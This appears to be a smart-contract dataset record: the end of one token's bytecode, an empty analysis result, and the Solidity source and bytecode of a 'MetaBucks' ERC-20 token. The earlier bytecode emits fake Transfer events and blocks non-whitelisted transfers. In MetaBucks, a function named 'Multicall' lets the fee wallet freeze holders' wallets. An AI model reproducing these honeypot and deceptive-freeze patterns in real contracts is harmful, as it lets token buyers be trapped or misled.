18110610c6157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610cb257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610c47565b5050565b6000610d04610cfd611673565b8484611677565b50600192915050565b60045490565b6000610d20848484611763565b610d9084610d2c611673565b610d8b85604051806060016040528060288152602001612284602891396001600160a01b038a16600090815260036020526040812090610d6a611673565b6001600160a01b0316815260208101919091526040016000205491906119e8565b611677565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610df0576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357828181518110610e0857fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac833981519152848481518110610e3e57fe5b60200260200101516040518082815260200191505060405180910390a3600101610df3565b50505050565b600d546001600160a01b03163314610ec8576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610ed59082611612565b600455600d546001600160a01b0316600090815260208190526040902054610efd9082611612565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206122ac8339815191529281900390910190a35050565b600d546001600160a01b03163314610f8f576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b600d546001600160a01b0316331461100d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8151811015610cec57600180600084848151811061102a57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555061109e82828151811061107857fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611677565b600101611010565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461110e576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b565b600d546001600160a01b0316331461115d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357836001600160a01b031683828151811061117f57fe5b60200260200101516001600160a01b03166000805160206122ac8339815191528484815181106111ab57fe5b60200260200101516040518082815260200191505060405180910390a3600101611160565b600d546000906001600160a01b03163314611220576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6112348261122c611673565b600854611677565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b600d546001600160a01b031633146112ea576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357836001600160a01b031683828151811061130c57fe5b60200260200101516001600160a01b03166000805160206122ac83398151915284848151811061133857fe5b60200260200101516040518082815260200191505060405180910390a36001016112ed565b6000610d0461136a611673565b8484611763565b600d546001600160a01b031681565b600d546001600160a01b031633146113cd576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546113ff928492911690611677565b50565b600d546001600160a01b0316331461144f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b61145b8361122c611673565b60005b8251811015610e63576114988484838151811061147757fe5b602002602001015184848151811061148b57fe5b6020026020010151611a7f565b60010161145e565b600d546001600160a01b031633146114ed576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b546008546113ff9284921690611677565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b0316331461159f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e63578281815181106115b757fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac8339815191528484815181106115ed57fe5b60200260200101516040518082815260200191505060405180910390a36001016115a2565b60008282018381101561166c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116bc5760405162461bcd60e51b81526004018080602001828103825260248152602001806122f16024913960400191505060405180910390fd5b6001600160a01b0382166117015760405162461bcd60e51b815260040180806020018281038252602281526020018061221c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156117995750600d546001600160a01b038381169116145b156117c957600980546001600160a01b0319166001600160a01b0386161790556117c4878787611bf8565b6119df565b600d546001600160a01b03838116911614806117f257506009546001600160a01b038381169116145b8061180a5750600d546001600160a01b038581169116145b1561185357600d546001600160a01b03838116911614801561183d5750836001600160a01b0316826001600160a01b0316145b1561184857600a8390555b6117c4878787611bf8565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611885576117c4878787611bf8565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561190f576009546001600160a01b03838116911614806118d45750600b546001600160a01b038581169116145b6118485760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015611970576009546001600160a01b0385811691161415611848576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556117c4878787611bf8565b6009546001600160a01b03838116911614806119995750600b546001600160a01b038581169116145b6119d45760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6119df878787611bf8565b50505050505050565b60008184841115611a775760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a3c578181015183820152602001611a24565b50505050905090810190601f168015611a695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611ac45760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038216611b095760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611b148383836121f3565b611b518160405180606001604052806026815260200161223e602691396001600160a01b03861660009081526020819052604090205491906119e8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b809082611612565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611bba57600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206122ac833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611c2e5750600d546001600160a01b038381169116145b15611dc457600980546001600160a01b0319166001600160a01b03868116919091179091558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038616611cd55760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611ce08787876121f3565b611d1d8560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611d4c9086611612565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611d8657600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a36119df565b600d546001600160a01b0383811691161480611ded57506009546001600160a01b038381169116145b80611e055750600d546001600160a01b038581169116145b15611e8857600d546001600160a01b038381169116148015611e385750836001600160a01b0316826001600160a01b0316145b15611e4357600a8390555b6001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611ef4576001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611f7e576009546001600160a01b0383811691161480611f435750600b546001600160a01b038581169116145b611e435760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015612012576009546001600160a01b0385811691161415611e43576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6009546001600160a01b038381169116148061203b5750600b546001600160a01b038581169116145b6120765760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6001600160a01b0387166120bb5760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b0386166121005760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b61210b8787876121f3565b6121488560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546121779086611612565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156121b157600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204ac5d45570c8a5ba8e3f93083936e8cd55c0e00d3dc9d75c2ff5d23cf71c688464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,257 |
0xf443787298b784a832d2b0374efa0e3338b40ced
|
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract METABUCKS is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"MetaBucks"; ////
string public constant symbol = unicode"METABUCKS"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 7;
uint public _sellFee = 10;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106102085760003560e01c806349bd5a5e1161011857806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105fa578063db92dbb61461060f578063dcb0e0ad14610624578063dd62ed3e14610644578063e8078d941461068a57600080fd5b806395d89b411461057a578063a9059cbb146105af578063b2131f7d146105cf578063c3c8cd80146105e557600080fd5b806370a08231116100e757806370a08231146104e7578063715018a6146105075780637a49cddb1461051c5780638da5cb5b1461053c57806394b8d8f21461055a57600080fd5b806349bd5a5e1461047c578063509016171461049c578063590f897e146104bc5780636fc3eaec146104d257600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b55780633bbac579146103ed5780633bed43551461042657806340b9a54b1461044657806345596e2e1461045c57600080fd5b806327f3a72a14610343578063313ce5671461035857806331c2d8471461037f57806332d873d81461039f57600080fd5b80630b78f9c0116101d75780630b78f9c0146102d157806318160ddd146102f15780631940d0201461030d57806323b872dd1461032357600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f61461027f578063095ea7b3146102a157600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b50610272604051806040016040528060098152602001684d6574614275636b7360b81b81525081565b6040516102349190611c24565b34801561028b57600080fd5b5061029f61029a366004611c9e565b61069f565b005b3480156102ad57600080fd5b506102c16102bc366004611cbb565b610714565b6040519015158152602001610234565b3480156102dd57600080fd5b5061029f6102ec366004611ce7565b61072a565b3480156102fd57600080fd5b50683635c9adc5dea0000061022a565b34801561031957600080fd5b5061022a600f5481565b34801561032f57600080fd5b506102c161033e366004611d09565b6107ad565b34801561034f57600080fd5b5061022a610895565b34801561036457600080fd5b5061036d600981565b60405160ff9091168152602001610234565b34801561038b57600080fd5b5061029f61039a366004611d60565b6108a5565b3480156103ab57600080fd5b5061022a60105481565b3480156103c157600080fd5b506009546103d5906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103f957600080fd5b506102c1610408366004611c9e565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043257600080fd5b506008546103d5906001600160a01b031681565b34801561045257600080fd5b5061022a600b5481565b34801561046857600080fd5b5061029f610477366004611e25565b610931565b34801561048857600080fd5b50600a546103d5906001600160a01b031681565b3480156104a857600080fd5b5061029f6104b7366004611c9e565b6109f5565b3480156104c857600080fd5b5061022a600c5481565b3480156104de57600080fd5b5061029f610a63565b3480156104f357600080fd5b5061022a610502366004611c9e565b610a90565b34801561051357600080fd5b5061029f610aab565b34801561052857600080fd5b5061029f610537366004611d60565b610b1f565b34801561054857600080fd5b506000546001600160a01b03166103d5565b34801561056657600080fd5b506011546102c19062010000900460ff1681565b34801561058657600080fd5b50610272604051806040016040528060098152602001684d4554414255434b5360b81b81525081565b3480156105bb57600080fd5b506102c16105ca366004611cbb565b610c2e565b3480156105db57600080fd5b5061022a600d5481565b3480156105f157600080fd5b5061029f610c3b565b34801561060657600080fd5b5061029f610c71565b34801561061b57600080fd5b5061022a610d15565b34801561063057600080fd5b5061029f61063f366004611e4c565b610d2d565b34801561065057600080fd5b5061022a61065f366004611e69565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069657600080fd5b5061029f610daa565b6008546001600160a01b0316336001600160a01b0316146106bf57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006107213384846110f1565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074a57600080fd5b600a82111561075857600080fd5b600a81111561076657600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107db57506001600160a01b03831660009081526004602052604090205460ff16155b80156107f45750600a546001600160a01b038581169116145b15610843576001600160a01b03831632146108435760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61084e848484611215565b6001600160a01b038416600090815260036020908152604080832033845290915281205461087d908490611eb8565b905061088a8533836110f1565b506001949350505050565b60006108a030610a90565b905090565b6008546001600160a01b0316336001600160a01b0316146108c557600080fd5b60005b815181101561092d576000600660008484815181106108e9576108e9611ecf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092581611ee5565b9150506108c8565b5050565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161083a90611efe565b6008546001600160a01b0316336001600160a01b03161461097b57600080fd5b600081116109c05760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161083a565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610709565b6009546001600160a01b0316336001600160a01b031614610a1557600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610709565b6008546001600160a01b0316336001600160a01b031614610a8357600080fd5b47610a8d81611883565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161083a90611efe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610b3f57600080fd5b60005b815181101561092d57600a5482516001600160a01b0390911690839083908110610b6e57610b6e611ecf565b60200260200101516001600160a01b031614158015610bbf575060075482516001600160a01b0390911690839083908110610bab57610bab611ecf565b60200260200101516001600160a01b031614155b15610c1c57600160066000848481518110610bdc57610bdc611ecf565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2681611ee5565b915050610b42565b6000610721338484611215565b6008546001600160a01b0316336001600160a01b031614610c5b57600080fd5b6000610c6630610a90565b9050610a8d81611908565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b815260040161083a90611efe565b60115460ff1615610ce85760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161083a565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a546000906108a0906001600160a01b0316610a90565b6000546001600160a01b03163314610d575760405162461bcd60e51b815260040161083a90611efe565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610709565b6000546001600160a01b03163314610dd45760405162461bcd60e51b815260040161083a90611efe565b60115460ff1615610e215760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161083a565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e5e3082683635c9adc5dea000006110f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec09190611f33565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f319190611f33565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa29190611f33565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fd281610a90565b600080610fe76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561104f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110749190611f50565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110cd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611f7e565b6001600160a01b0383166111535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161083a565b6001600160a01b0382166111b45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161083a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161083a565b6001600160a01b0382166112db5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161083a565b6000811161133d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161083a565b6001600160a01b03831660009081526006602052604090205460ff16156113b25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b606482015260840161083a565b600080546001600160a01b038581169116148015906113df57506000546001600160a01b03848116911614155b1561182457600a546001600160a01b03858116911614801561140f57506007546001600160a01b03848116911614155b801561143457506001600160a01b03831660009081526004602052604090205460ff16155b156116c05760115460ff1661148b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161083a565b60105442036114ca5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161083a565b42601054610e106114db9190611f9b565b111561155557600f546114ed84610a90565b6114f79084611f9b565b11156115555760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161083a565b6001600160a01b03831660009081526005602052604090206001015460ff166115bd576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115cd9190611f9b565b11156116a157600e548211156116255760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161083a565b61163042600f611f9b565b6001600160a01b038416600090815260056020526040902054106116a15760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920